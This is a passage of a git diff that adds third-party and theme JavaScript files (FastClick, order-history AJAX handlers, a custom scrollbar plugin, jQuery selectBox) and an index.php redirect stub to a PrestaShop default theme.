'click') { + rmv.call(layer, type, callback.hijacked || callback, capture); + } else { + rmv.call(layer, type, callback, capture); + } + }; + + layer.addEventListener = function(type, callback, capture) { + var adv = Node.prototype.addEventListener; + if (type === 'click') { + adv.call(layer, type, callback.hijacked || (callback.hijacked = function(event) { + if (!event.propagationStopped) { + callback(event); + } + }), capture); + } else { + adv.call(layer, type, callback, capture); + } + }; + } + + // If a handler is already declared in the element's onclick attribute, it will be fired before + // FastClick's onClick handler. Fix this by pulling out the user-defined handler function and + // adding it as listener. + if (typeof layer.onclick === 'function') { + + // Android browser on at least 3.2 requires a new reference to the function in layer.onclick + // - the old one won't work if passed to addEventListener directly. + oldOnClick = layer.onclick; + layer.addEventListener('click', function(event) { + oldOnClick(event); + }, false); + layer.onclick = null; + } + } + + + /** + * Android requires exceptions. + * + * @type boolean + */ + var deviceIsAndroid = navigator.userAgent.indexOf('Android') > 0; + + + /** + * iOS requires exceptions. + * + * @type boolean + */ + var deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent); + + + /** + * iOS 4 requires an exception for select elements. + * + * @type boolean + */ + var deviceIsIOS4 = deviceIsIOS && (/OS 4_\d(_\d)?/).test(navigator.userAgent); + + + /** + * iOS 6.0(+?) requires the target element to be manually derived + * + * @type boolean + */ + var deviceIsIOSWithBadTarget = deviceIsIOS && (/OS ([6-9]|\d{2})_\d/).test(navigator.userAgent); + + /** + * BlackBerry requires exceptions. + * + * @type boolean + */ + var deviceIsBlackBerry10 = navigator.userAgent.indexOf('BB10') > 0; + + /** + * Determine whether a given element requires a native click. + * + * @param {EventTarget|Element} target Target DOM element + * @returns {boolean} Returns true if the element needs a native click + */ + FastClick.prototype.needsClick = function(target) { + switch (target.nodeName.toLowerCase()) { + + // Don't send a synthetic click to disabled inputs (issue #62) + case 'button': + case 'select': + case 'textarea': + if (target.disabled) { + return true; + } + + break; + case 'input': + + // File inputs need real clicks on iOS 6 due to a browser bug (issue #68) + if ((deviceIsIOS && target.type === 'file') || target.disabled) { + return true; + } + + break; + case 'label': + case 'video': + return true; + } + + return (/\bneedsclick\b/).test(target.className); + }; + + + /** + * Determine whether a given element requires a call to focus to simulate click into element. + * + * @param {EventTarget|Element} target Target DOM element + * @returns {boolean} Returns true if the element requires a call to focus to simulate native click. + */ + FastClick.prototype.needsFocus = function(target) { + switch (target.nodeName.toLowerCase()) { + case 'textarea': + return true; + case 'select': + return !deviceIsAndroid; + case 'input': + switch (target.type) { + case 'button': + case 'checkbox': + case 'file': + case 'image': + case 'radio': + case 'submit': + return false; + } + + // No point in attempting to focus disabled inputs + return !target.disabled && !target.readOnly; + default: + return (/\bneedsfocus\b/).test(target.className); + } + }; + + + /** + * Send a click event to the specified element. + * + * @param {EventTarget|Element} targetElement + * @param {Event} event + */ + FastClick.prototype.sendClick = function(targetElement, event) { + var clickEvent, touch; + + // On some Android devices activeElement needs to be blurred otherwise the synthetic click will have no effect (#24) + if (document.activeElement && document.activeElement !== targetElement) { + document.activeElement.blur(); + } + + touch = event.changedTouches[0]; + + // Synthesise a click event, with an extra attribute so it can be tracked + clickEvent = document.createEvent('MouseEvents'); + clickEvent.initMouseEvent(this.determineEventType(targetElement), true, true, window, 1, touch.screenX, touch.screenY, touch.clientX, touch.clientY, false, false, false, false, 0, null); + clickEvent.forwardedTouchEvent = true; + targetElement.dispatchEvent(clickEvent); + }; + + FastClick.prototype.determineEventType = function(targetElement) { + + //Issue #159: Android Chrome Select Box does not open with a synthetic click event + if (deviceIsAndroid && targetElement.tagName.toLowerCase() === 'select') { + return 'mousedown'; + } + + return 'click'; + }; + + + /** + * @param {EventTarget|Element} targetElement + */ + FastClick.prototype.focus = function(targetElement) { + var length; + + // Issue #160: on iOS 7, some input elements (e.g. date datetime) throw a vague TypeError on setSelectionRange. These elements don't have an integer value for the selectionStart and selectionEnd properties, but unfortunately that can't be used for detection because accessing the properties also throws a TypeError. Just check the type instead. Filed as Apple bug #15122724. + if (deviceIsIOS && targetElement.setSelectionRange && targetElement.type.indexOf('date') !== 0 && targetElement.type !== 'time') { + length = targetElement.value.length; + targetElement.setSelectionRange(length, length); + } else { + targetElement.focus(); + } + }; + + + /** + * Check whether the given target element is a child of a scrollable layer and if so, set a flag on it. + * + * @param {EventTarget|Element} targetElement + */ + FastClick.prototype.updateScrollParent = function(targetElement) { + var scrollParent, parentElement; + + scrollParent = targetElement.fastClickScrollParent; + + // Attempt to discover whether the target element is contained within a scrollable layer. Re-check if the + // target element was moved to another parent. + if (!scrollParent || !scrollParent.contains(targetElement)) { + parentElement = targetElement; + do { + if (parentElement.scrollHeight > parentElement.offsetHeight) { + scrollParent = parentElement; + targetElement.fastClickScrollParent = parentElement; + break; + } + + parentElement = parentElement.parentElement; + } while (parentElement); + } + + // Always update the scroll top tracker if possible. + if (scrollParent) { + scrollParent.fastClickLastScrollTop = scrollParent.scrollTop; + } + }; + + + /** + * @param {EventTarget} targetElement + * @returns {Element|EventTarget} + */ + FastClick.prototype.getTargetElementFromEventTarget = function(eventTarget) { + + // On some older browsers (notably Safari on iOS 4.1 - see issue #56) the event target may be a text node. + if (eventTarget.nodeType === Node.TEXT_NODE) { + return eventTarget.parentNode; + } + + return eventTarget; + }; + + + /** + * On touch start, record the position and scroll offset. + * + * @param {Event} event + * @returns {boolean} + */ + FastClick.prototype.onTouchStart = function(event) { + var targetElement, touch, selection; + + // Ignore multiple touches, otherwise pinch-to-zoom is prevented if both fingers are on the FastClick element (issue #111). + if (event.targetTouches.length > 1) { + return true; + } + + targetElement = this.getTargetElementFromEventTarget(event.target); + touch = event.targetTouches[0]; + + if (deviceIsIOS) { + + // Only trusted events will deselect text on iOS (issue #49) + selection = window.getSelection(); + if (selection.rangeCount && !selection.isCollapsed) { + return true; + } + + if (!deviceIsIOS4) { + + // Weird things happen on iOS when an alert or confirm dialog is opened from a click event callback (issue #23): + // when the user next taps anywhere else on the page, new touchstart and touchend events are dispatched + // with the same identifier as the touch event that previously triggered the click that triggered the alert. + // Sadly, there is an issue on iOS 4 that causes some normal touch events to have the same identifier as an + // immediately preceeding touch event (issue #52), so this fix is unavailable on that platform. + // Issue 120: touch.identifier is 0 when Chrome dev tools 'Emulate touch events' is set with an iOS device UA string, + // which causes all touch events to be ignored. As this block only applies to iOS, and iOS identifiers are always long, + // random integers, it's safe to to continue if the identifier is 0 here. + if (touch.identifier && touch.identifier === this.lastTouchIdentifier) { + event.preventDefault(); + return false; + } + + this.lastTouchIdentifier = touch.identifier; + + // If the target element is a child of a scrollable layer (using -webkit-overflow-scrolling: touch) and: + // 1) the user does a fling scroll on the scrollable layer + // 2) the user stops the fling scroll with another tap + // then the event.target of the last 'touchend' event will be the element that was under the user's finger + // when the fling scroll was started, causing FastClick to send a click event to that layer - unless a check + // is made to ensure that a parent layer was not scrolled before sending a synthetic click (issue #42). + this.updateScrollParent(targetElement); + } + } + + this.trackingClick = true; + this.trackingClickStart = event.timeStamp; + this.targetElement = targetElement; + + this.touchStartX = touch.pageX; + this.touchStartY = touch.pageY; + + // Prevent phantom clicks on fast double-tap (issue #36) + if ((event.timeStamp - this.lastClickTime) < this.tapDelay) { + event.preventDefault(); + } + + return true; + }; + + + /** + * Based on a touchmove event object, check whether the touch has moved past a boundary since it started. + * + * @param {Event} event + * @returns {boolean} + */ + FastClick.prototype.touchHasMoved = function(event) { + var touch = event.changedTouches[0], boundary = this.touchBoundary; + + if (Math.abs(touch.pageX - this.touchStartX) > boundary || Math.abs(touch.pageY - this.touchStartY) > boundary) { + return true; + } + + return false; + }; + + + /** + * Update the last position. + * + * @param {Event} event + * @returns {boolean} + */ + FastClick.prototype.onTouchMove = function(event) { + if (!this.trackingClick) { + return true; + } + + // If the touch has moved, cancel the click tracking + if (this.targetElement !== this.getTargetElementFromEventTarget(event.target) || this.touchHasMoved(event)) { + this.trackingClick = false; + this.targetElement = null; + } + + return true; + }; + + + /** + * Attempt to find the labelled control for the given label element. + * + * @param {EventTarget|HTMLLabelElement} labelElement + * @returns {Element|null} + */ + FastClick.prototype.findControl = function(labelElement) { + + // Fast path for newer browsers supporting the HTML5 control attribute + if (labelElement.control !== undefined) { + return labelElement.control; + } + + // All browsers under test that support touch events also support the HTML5 htmlFor attribute + if (labelElement.htmlFor) { + return document.getElementById(labelElement.htmlFor); + } + + // If no for attribute exists, attempt to retrieve the first labellable descendant element + // the list of which is defined here: http://www.w3.org/TR/html5/forms.html#category-label + return labelElement.querySelector('button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea'); + }; + + + /** + * On touch end, determine whether to send a click event at once. + * + * @param {Event} event + * @returns {boolean} + */ + FastClick.prototype.onTouchEnd = function(event) { + var forElement, trackingClickStart, targetTagName, scrollParent, touch, targetElement = this.targetElement; + + if (!this.trackingClick) { + return true; + } + + // Prevent phantom clicks on fast double-tap (issue #36) + if ((event.timeStamp - this.lastClickTime) < this.tapDelay) { + this.cancelNextClick = true; + return true; + } + + // Reset to prevent wrong click cancel on input (issue #156). + this.cancelNextClick = false; + + this.lastClickTime = event.timeStamp; + + trackingClickStart = this.trackingClickStart; + this.trackingClick = false; + this.trackingClickStart = 0; + + // On some iOS devices, the targetElement supplied with the event is invalid if the layer + // is performing a transition or scroll, and has to be re-detected manually. Note that + // for this to function correctly, it must be called *after* the event target is checked! + // See issue #57; also filed as rdar://13048589 . + if (deviceIsIOSWithBadTarget) { + touch = event.changedTouches[0]; + + // In certain cases arguments of elementFromPoint can be negative, so prevent setting targetElement to null + targetElement = document.elementFromPoint(touch.pageX - window.pageXOffset, touch.pageY - window.pageYOffset) || targetElement; + targetElement.fastClickScrollParent = this.targetElement.fastClickScrollParent; + } + + targetTagName = targetElement.tagName.toLowerCase(); + if (targetTagName === 'label') { + forElement = this.findControl(targetElement); + if (forElement) { + this.focus(targetElement); + if (deviceIsAndroid) { + return false; + } + + targetElement = forElement; + } + } else if (this.needsFocus(targetElement)) { + + // Case 1: If the touch started a while ago (best guess is 100ms based on tests for issue #36) then focus will be triggered anyway. Return early and unset the target element reference so that the subsequent click will be allowed through. + // Case 2: Without this exception for input elements tapped when the document is contained in an iframe, then any inputted text won't be visible even though the value attribute is updated as the user types (issue #37). + if ((event.timeStamp - trackingClickStart) > 100 || (deviceIsIOS && window.top !== window && targetTagName === 'input')) { + this.targetElement = null; + return false; + } + + this.focus(targetElement); + this.sendClick(targetElement, event); + + // Select elements need the event to go through on iOS 4, otherwise the selector menu won't open. + // Also this breaks opening selects when VoiceOver is active on iOS6, iOS7 (and possibly others) + if (!deviceIsIOS || targetTagName !== 'select') { + this.targetElement = null; + event.preventDefault(); + } + + return false; + } + + if (deviceIsIOS && !deviceIsIOS4) { + + // Don't send a synthetic click event if the target element is contained within a parent layer that was scrolled + // and this tap is being used to stop the scrolling (usually initiated by a fling - issue #42). + scrollParent = targetElement.fastClickScrollParent; + if (scrollParent && scrollParent.fastClickLastScrollTop !== scrollParent.scrollTop) { + return true; + } + } + + // Prevent the actual click from going though - unless the target node is marked as requiring + // real clicks or if it is in the whitelist in which case only non-programmatic clicks are permitted. + if (!this.needsClick(targetElement)) { + event.preventDefault(); + this.sendClick(targetElement, event); + } + + return false; + }; + + + /** + * On touch cancel, stop tracking the click. + * + * @returns {void} + */ + FastClick.prototype.onTouchCancel = function() { + this.trackingClick = false; + this.targetElement = null; + }; + + + /** + * Determine mouse events which should be permitted. + * + * @param {Event} event + * @returns {boolean} + */ + FastClick.prototype.onMouse = function(event) { + + // If a target element was never set (because a touch event was never fired) allow the event + if (!this.targetElement) { + return true; + } + + if (event.forwardedTouchEvent) { + return true; + } + + // Programmatically generated events targeting a specific element should be permitted + if (!event.cancelable) { + return true; + } + + // Derive and check the target element to see whether the mouse event needs to be permitted; + // unless explicitly enabled, prevent non-touch click events from triggering actions, + // to prevent ghost/doubleclicks. + if (!this.needsClick(this.targetElement) || this.cancelNextClick) { + + // Prevent any user-added listeners declared on FastClick element from being fired. + if (event.stopImmediatePropagation) { + event.stopImmediatePropagation(); + } else { + + // Part of the hack for browsers that don't support Event#stopImmediatePropagation (e.g. Android 2) + event.propagationStopped = true; + } + + // Cancel the event + event.stopPropagation(); + event.preventDefault(); + + return false; + } + + // If the mouse event is permitted, return true for the action to go through. + return true; + }; + + + /** + * On actual clicks, determine whether this is a touch-generated click, a click action occurring + * naturally after a delay after a touch (which needs to be cancelled to avoid duplication), or + * an actual click which should be permitted. + * + * @param {Event} event + * @returns {boolean} + */ + FastClick.prototype.onClick = function(event) { + var permitted; + + // It's possible for another FastClick-like library delivered with third-party code to fire a click event before FastClick does (issue #44). In that case, set the click-tracking flag back to false and return early. This will cause onTouchEnd to return early. + if (this.trackingClick) { + this.targetElement = null; + this.trackingClick = false; + return true; + } + + // Very odd behaviour on iOS (issue #18): if a submit element is present inside a form and the user hits enter in the iOS simulator or clicks the Go button on the pop-up OS keyboard the a kind of 'fake' click event will be triggered with the submit-type input element as the target. + if (event.target.type === 'submit' && event.detail === 0) { + return true; + } + + permitted = this.onMouse(event); + + // Only unset targetElement if the click is not permitted. This will ensure that the check for !targetElement in onMouse fails and the browser's click doesn't go through. + if (!permitted) { + this.targetElement = null; + } + + // If clicks are permitted, return true for the action to go through. + return permitted; + }; + + + /** + * Remove all FastClick's event listeners. + * + * @returns {void} + */ + FastClick.prototype.destroy = function() { + var layer = this.layer; + + if (deviceIsAndroid) { + layer.removeEventListener('mouseover', this.onMouse, true); + layer.removeEventListener('mousedown', this.onMouse, true); + layer.removeEventListener('mouseup', this.onMouse, true); + } + + layer.removeEventListener('click', this.onClick, true); + layer.removeEventListener('touchstart', this.onTouchStart, false); + layer.removeEventListener('touchmove', this.onTouchMove, false); + layer.removeEventListener('touchend', this.onTouchEnd, false); + layer.removeEventListener('touchcancel', this.onTouchCancel, false); + }; + + + /** + * Check whether FastClick is needed. + * + * @param {Element} layer The layer to listen on + */ + FastClick.notNeeded = function(layer) { + var metaViewport; + var chromeVersion; + var blackberryVersion; + + // Devices that don't support touch don't need FastClick + if (typeof window.ontouchstart === 'undefined') { + return true; + } + + // Chrome version - zero for other browsers + chromeVersion = +(/Chrome\/([0-9]+)/.exec(navigator.userAgent) || [,0])[1]; + + if (chromeVersion) { + + if (deviceIsAndroid) { + metaViewport = document.querySelector('meta[name=viewport]'); + + if (metaViewport) { + // Chrome on Android with user-scalable="no" doesn't need FastClick (issue #89) + if (metaViewport.content.indexOf('user-scalable=no') !== -1) { + return true; + } + // Chrome 32 and above with width=device-width or less don't need FastClick + if (chromeVersion > 31 && document.documentElement.scrollWidth <= window.outerWidth) { + return true; + } + } + + // Chrome desktop doesn't need FastClick (issue #15) + } else { + return true; + } + } + + if (deviceIsBlackBerry10) { + blackberryVersion = navigator.userAgent.match(/Version\/([0-9]*)\.([0-9]*)/); + + // BlackBerry 10.3+ does not require Fastclick library. + // https://github.com/ftlabs/fastclick/issues/251 + if (blackberryVersion[1] >= 10 && blackberryVersion[2] >= 3) { + metaViewport = document.querySelector('meta[name=viewport]'); + + if (metaViewport) { + // user-scalable=no eliminates click delay. + if (metaViewport.content.indexOf('user-scalable=no') !== -1) { + return true; + } + // width=device-width (or less than device-width) eliminates click delay. + if (document.documentElement.scrollWidth <= window.outerWidth) { + return true; + } + } + } + } + + // IE10 with -ms-touch-action: none, which disables double-tap-to-zoom (issue #97) + if (layer.style.msTouchAction === 'none') { + return true; + } + + return false; + }; + + + /** + * Factory method for creating a FastClick object + * + * @param {Element} layer The layer to listen on + * @param {Object} options The options to override the defaults + */ + FastClick.attach = function(layer, options) { + return new FastClick(layer, options); + }; + + + if (typeof define == 'function' && typeof define.amd == 'object' && define.amd) { + + // AMD. Register as an anonymous module. + define(function() { + return FastClick; + }); + } else if (typeof module !== 'undefined' && module.exports) { + module.exports = FastClick.attach; + module.exports.FastClick = FastClick; + } else { + window.FastClick = FastClick; + } +}()); \ No newline at end of file diff --git a/themes/default/js/history.js b/themes/default/js/history.js new file mode 100755 index 0000000..f5bcc0e --- /dev/null +++ b/themes/default/js/history.js @@ -0,0 +1,126 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +//show the order-details with ajax +function showOrder(mode, var_content, file) +{ + $.get( + file, + ((mode === 1) ? {'id_order': var_content, 'ajax': true} : {'id_order_return': var_content, 'ajax': true}), + function(data) + { + $('#block-order-detail').fadeOut('slow', function() + { + $(this).html(data); + /* if return is allowed*/ + if ($('#order-detail-content .order_cb').length > 0) + { + //return slip : check or uncheck every checkboxes + $('#order-detail-content th input[type=checkbox]').click(function() + { + $('#order-detail-content td input[type=checkbox]').each(function() + { + this.checked = $('#order-detail-content th input[type=checkbox]').is(':checked'); + updateOrderLineDisplay(this); + }); + }); + //return slip : enable or disable 'global' quantity editing + $('#order-detail-content td input[type=checkbox]').click(function() + { + updateOrderLineDisplay(this); + }); + //return slip : limit quantities + $('#order-detail-content td .order_qte_input').keyup(function() + { + var maxQuantity = parseInt($(this).parent().find('.order_qte_span').text()); + var quantity = parseInt($(this).val()); + if (isNaN($(this).val()) && $(this).val() !== '') + { + $(this).val(maxQuantity); + } + else + { + if (quantity > maxQuantity) + $(this).val(maxQuantity); + else if (quantity < 1) + $(this).val(1); + } + }); + } + //catch the submit event of sendOrderMessage form + $('form#sendOrderMessage').submit(function(){ + return sendOrderMessage(); + }); + $(this).fadeIn('slow', function() { + $.scrollTo(this, 1200); + resizeAddressesBox(); + }); + }); + }); +} + +function updateOrderLineDisplay(domCheckbox) +{ + var lineQuantitySpan = $(domCheckbox).parent().parent().find('.order_qte_span'); + var lineQuantityInput = $(domCheckbox).parent().parent().find('.order_qte_input'); + if($(domCheckbox).is(':checked')) + { + lineQuantitySpan.hide(); + lineQuantityInput.show(); + } + else + { + lineQuantityInput.hide(); + lineQuantityInput.val(lineQuantitySpan.text()); + lineQuantitySpan.show(); + } +} + +//send a message in relation to the order with ajax +function sendOrderMessage() +{ + paramString = "ajax=true"; + $('#sendOrderMessage').find('input, textarea, select').each(function(){ + paramString += '&' + $(this).attr('name') + '=' + encodeURIComponent($(this).val()); + }); + + $.ajax({ + type: "POST", + headers: { "cache-control": "no-cache" }, + url: $('#sendOrderMessage').attr("action") + '?rand=' + new Date().getTime(), + data: paramString, + success: function (msg){ + $('#block-order-detail').fadeOut('slow', function() { + $(this).html(msg); + //catch the submit event of sendOrderMessage form + $('#sendOrderMessage').submit(function(){ + return sendOrderMessage(); + }); + $(this).fadeIn('slow'); + }); + } + }); + return false; +} diff --git a/themes/default/js/homeblockFleche.png b/themes/default/js/homeblockFleche.png new file mode 100755 index 0000000..e377181 Binary files /dev/null and b/themes/default/js/homeblockFleche.png differ diff --git a/themes/default/js/index.php b/themes/default/js/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/js/jquery.custom-scrollbar.js b/themes/default/js/jquery.custom-scrollbar.js new file mode 100755 index 0000000..4706105 --- /dev/null +++ b/themes/default/js/jquery.custom-scrollbar.js @@ -0,0 +1,204 @@ +! function($) { + var ScrOoly = function(content, opts) { + var self = this; + this.opts = opts; + this.$element = $(content); + this.$element.wrap('
        '); + this.isMoving = false; + this.visibleTrack = { + h: false, + v: false + }; + this.$wrapper = this.$element.parent().css({ + position: 'relative', + overflow: 'hidden' + }).attr({ + 'class' : this.$element.attr('class'), + 'id' : this.$element.attr('id'), + 'style' : this.$element.attr('style') + }).data('scrooly', this); + this.$element.attr('class', 'scr_content').removeAttr('id').removeAttr('style'); + this.$element = $('.scr_content', this.$wrapper).css({ + position: 'absolute', + top: 0, + left: 0, + width: 'auto', + height: 'auto' + }); + this.$wrapper.append('
        '); + $('.scr_drag, .scr_track', this.$wrapper).css('position', 'absolute'); + $('.scr_drag', this.$wrapper).css({ + top: 0, + left: 0 + }); + $('.scr_track', self.$wrapper).css('opacity', (!this.opts.visible ? 0 : this.opts.opacity)); + this.$trackV = $('.scr_trackV', this.$wrapper).css({ + top: 0, + right: 0 + }) + this.dragV = $('.scr_drag', this.$trackV); + this.$trackH = $('.scr_trackH', this.$wrapper).css({ + bottom: 0, + left: 0 + }); + this.dragH = $('.scr_drag', this.$trackH); + this.$wrapper.on({ + mouseenter: function() { + self._toggleTracks(self.opts.opacity); + }, + mouseleave: function() { + self._toggleTracks(0); + }, + mousewheel: function(event) { + var e = event.originalEvent; + self._scroll(e.wheelDelta / 120, e.wheelDeltaX, e.shiftKey); + return false; + }, + DOMMouseScroll: function (event) { + var e = event.originalEvent; + self._scroll(-e.detail / 3, false, e.shiftKey); + return false; + }, + touchstart: function(event) { + var e = event.originalEvent; + self.previousMove = e.targetTouches[0]; + self.moveDrag = true; + self._toggleTracks(self.opts.opacity); + }, + touchmove: function(event) { + event.preventDefault(); + var e = event.originalEvent; + self._$drag = self.$trackV; + self.move(self.previousMove, e.targetTouches[0]); + self._$drag = self.$trackH; + self.move(self.previousMove, e.targetTouches[0]); + self.previousMove = e.targetTouches[0]; + }, + touchend: function() { + self.moveDrag = false; + self._toggleTracks(0); + } + }); + $('.scr_drag', this.$wrapper).on({ + mousedown: function(e) { + e.preventDefault(); + self.moveDrag = true; + self.previousMove = e; + self._$drag = $(this).parent(); + }, + mouseenter: function() { + $(this).addClass('scr_hover'); + }, + mouseleave: function() { + $(this).removeClass('scr_hover'); + } + }); + $(document).on({ + mouseup: function() { + self.moveDrag = false; + $('.scr_drag', self._$drag).removeClass('scr_moving'); + }, + mousemove: function(e) { + if (self.moveDrag) { + self.move(e, self.previousMove); + self.previousMove = e; + $('.scr_drag', self._$drag).addClass('scr_moving'); + } + } + }); + $(window).on('resize', function () { + self.resize(); + }).trigger('resize'); + }; + ScrOoly.prototype = { + _scroll: function (delta, x, shift) { + this._$drag = shift || x ? this.$trackH : this.$trackV; + this.move((delta < 0 ? 1 : -1) * this.opts.step, 0); + }, + _toggleTracks: function (o) { + if (this.visibleTrack.h) + this.$trackH.stop().animate({ + opacity: o + }, this.opts.speed); + if (this.visibleTrack.v) + this.$trackV.stop().animate({ + opacity: o + }, this.opts.speed); + }, + resize: function () { + this.height = this.$wrapper.height() - this.$trackH.outerHeight(true); + this.width = this.$wrapper.width() - this.$trackV.outerWidth(true); + this.$trackV.height(this.height); + var $eh = this.$element.height(), + $ew = this.$element.width(), + h = Math.ceil(this.height * this.height / $eh), + w = Math.ceil(this.width * this.width / $ew); + if (h > this.height) h = this.height; + if (w > this.width) w = this.width; + this.visibleTrack = { + v: !(h == this.height), + h: !(w == this.width) + }; + this.ratio = { + v: this.height / $eh, + h: this.width / $ew + }; + this.dragV.height(h); + this.dragH.width(w); + this.maxT = this.height - h; + this.maxL = this.width - w; + }, + move: function (a, b) { + var $drag = $('.scr_drag', this._$drag).eq(0); + if (this._$drag.hasClass('scr_trackV')) { + if (this.moveDrag) { + a = a.pageY; + b = b.pageY; + } + var t = parseInt($drag.css('top')); + t += a - b; + if (t > this.maxT) t = this.maxT; + if (t < 0) t = 0; + $drag.css('top', t); + this.$element.css('top', Math.ceil(-t / this.ratio.v)); + } else { + var t = parseInt($drag.css('left')); + if (this.moveDrag) { + a = a.pageX; + b = b.pageX; + } + t += a - b; + if (t > this.maxL) t = this.maxL; + if (t < 0) t = 0; + $drag.css('left', t); + this.$element.css('left', Math.ceil(-t / this.ratio.h)); + } + } + }; + $.fn.scrooly = function(option) { + return this.each(function() { + var $this = $(this), + data = $this.data('scrooly'), + opts = $.extend({}, $.fn.scrooly.defaults, $this.data(), typeof option == 'object' && option); + if (!data) + $this.data('scrooly', ( data = new ScrOoly(this, opts))); + if ( typeof option == 'string') + data[option](); + }) + }; + $.fn.scrooly.defaults = { + step: 15, + opacity: 1, + speed: 200 + }; +}(window.jQuery); + +jQuery(document).ready(function(){ + // jQuery('.storestable').scrooly({ + // step: 15, + // opacity: 1, + // speed: 200 + // }); +}); + + diff --git a/themes/default/js/jquery.selectBox.min.js b/themes/default/js/jquery.selectBox.min.js new file mode 100755 index 0000000..f2aa662 --- /dev/null +++ b/themes/default/js/jquery.selectBox.min.js @@ -0,0 +1,961 @@ +/* + + jQuery selectBox (version 1.0.7) + + A cosmetic, styleable replacement for SELECT elements. + + Homepage: http://abeautifulsite.net/blog/2011/01/jquery-selectbox-plugin/ + Demo page: http://labs.abeautifulsite.net/projects/js/jquery/selectBox/ + + Copyright 2011 Cory LaViska for A Beautiful Site, LLC. + + Features: + + - Supports OPTGROUPS + - Supports standard dropdown controls + - Supports multi-select controls (i.e. multiple="multiple") + - Supports inline controls (i.e. size="5") + - Fully accessible via keyboard + - Shift + click (or shift + enter) to select a range of options in multi-select controls + - Type to search when the control has focus + - Auto-height based on the size attribute (to use, omit the height property in your CSS!) + - Tested in IE7-IE9, Firefox 3-4, recent webkit browsers, and Opera + + + License: + + Licensed under both the MIT license and the GNU GPLv2 (same as jQuery: http://jquery.org/license) + + + Usage: + + Link to the JS file: + + + + Add the CSS file (or append contents to your own stylesheet): + + + + To create: + + $("SELECT").selectBox([settings]); + + + Settings: + + To specify settings, use this syntax: $("SELECT").selectBox('settings', { settingName: value, ... }); + + menuTransition: ['default', 'slide', 'fade'] - the show/hide transition for dropdown menus + menuSpeed: [integer, 'slow', 'normal', 'fast'] - the show/hide transition speed + + + Methods: + + To call a method use this syntax: $("SELECT").selectBox('methodName', [options]); + + create - Creates the control (default method) + destroy - Destroys the selectBox control and reverts back to the original form control + disable - Disables the control (i.e. disabled="disabled") + enable - Enables the control + value - if passed with a value, sets the control to that value; otherwise returns the current value + options - pass in either a string of HTML or a JSON object to replace the existing options + control - returns the selectBox control element (an anchor tag) for working with directly + + + Events: + + Events are fired on the original select element. You can bind events like this: + + $("SELECT").selectBox().change( function() { alert( $(this).val() ); } ); + + focus - Fired when the control gains focus + blur - Fired when the control loses focus + change - Fired when the value of a control changes + + + Change Log: + + v1.0.0 (2011-04-03) - Complete rewrite with added support for inline and multi-select controls + v1.0.1 (2011-04-04) - Fixed options method so it doesn't destroy/recreate the control when called. + - Added a check for iOS devices (their native controls are much better for + touch-based devices; you can still use selectBox API methods for theme) + - Fixed issue where IE window would lose focus on XP + - Fixed premature selection issue in Webkit browsers + v1.0.2 (2011-04-13) - Fixed auto-height for inline controls when control is invisible on load + - Removed auto-width for dropdown and inline controls; now relies 100% on CSS + for setting the width + - Added 'control' method for working directly with the selectBox control + v1.0.3 (2011-04-22) - Fixed bug in value method that errored if the control didn't exist + v1.0.4 (2011-04-22) - Fixed bug where controls without any options would render with incorrect heights + v1.0.5 (2011-04-22) - Removed 'tick' image in lieu of background colors to indicate selection + - Clicking no longer toggles selected/unselected in multi-selects; use CTRL/CMD and + SHIFT like in normal browser controls + - Fixed bug where inline controls would not receive focus unless tabbed into + v1.0.6 (2011-04-29) - Fixed bug where inline controls could be "dragged" when selecting an empty area + v1.0.7 (2011-05-18) - Expanded iOS check to include Android devices as well + - Added autoWidth option; set to false on init to use CSS widths for dropdown menus + + Known Issues: + + - The blur and focus callbacks are not very reliable in IE7. The change callback works fine. + +*/ +if(jQuery) (function($) { + + $.extend($.fn, { + + selectBox: function(method, data) { + + var typeTimer, typeSearch = ''; + + + // + // Private methods + // + + + var init = function(select, data) { + + // Disable for iOS devices (their native controls are more suitable for a touch device) + if( navigator.userAgent.match(/iPad|iPhone|Android/i) ) return false; + + // Element must be a select control + if( select.tagName.toLowerCase() !== 'select' ) return false; + + select = $(select); + if( select.data('selectBox-control') ) return false; + + var control = $(''), + inline = select.attr('multiple') || parseInt(select.attr('size')) > 1; + + var settings = data || {}; + if( settings.autoWidth === undefined ) settings.autoWidth = true; + + // Inherit class names, style, and title attributes + control + .addClass(select.attr('class')) + .attr('style', select.attr('style') || '') + .attr('title', select.attr('title') || '') + .attr('tabindex', parseInt(select.attr('tabindex'))) + .css('display', 'inline-block') + .bind('focus.selectBox', function() { + if( this !== document.activeElement ) $(document.activeElement).blur(); + if( control.hasClass('selectBox-active') ) return; + control.addClass('selectBox-active'); + select.trigger('focus'); + }) + .bind('blur.selectBox', function() { + if( !control.hasClass('selectBox-active') ) return; + control.removeClass('selectBox-active'); + select.trigger('blur'); + }); + + if( select.attr('disabled') ) control.addClass('selectBox-disabled'); + + // Generate control + if( inline ) { + + // + // Inline controls + // + var options = getOptions(select, 'inline'); + + control + .append(options) + .data('selectBox-options', options) + .addClass('selectBox-inline') + .addClass('selectBox-menuShowing') + .bind('keydown.selectBox', function(event) { + handleKeyDown(select, event); + }) + .bind('keypress.selectBox', function(event) { + handleKeyPress(select, event); + }) + .bind('mousedown.selectBox', function(event) { + if( $(event.target).is('A.selectBox-inline') ) event.preventDefault(); + if( 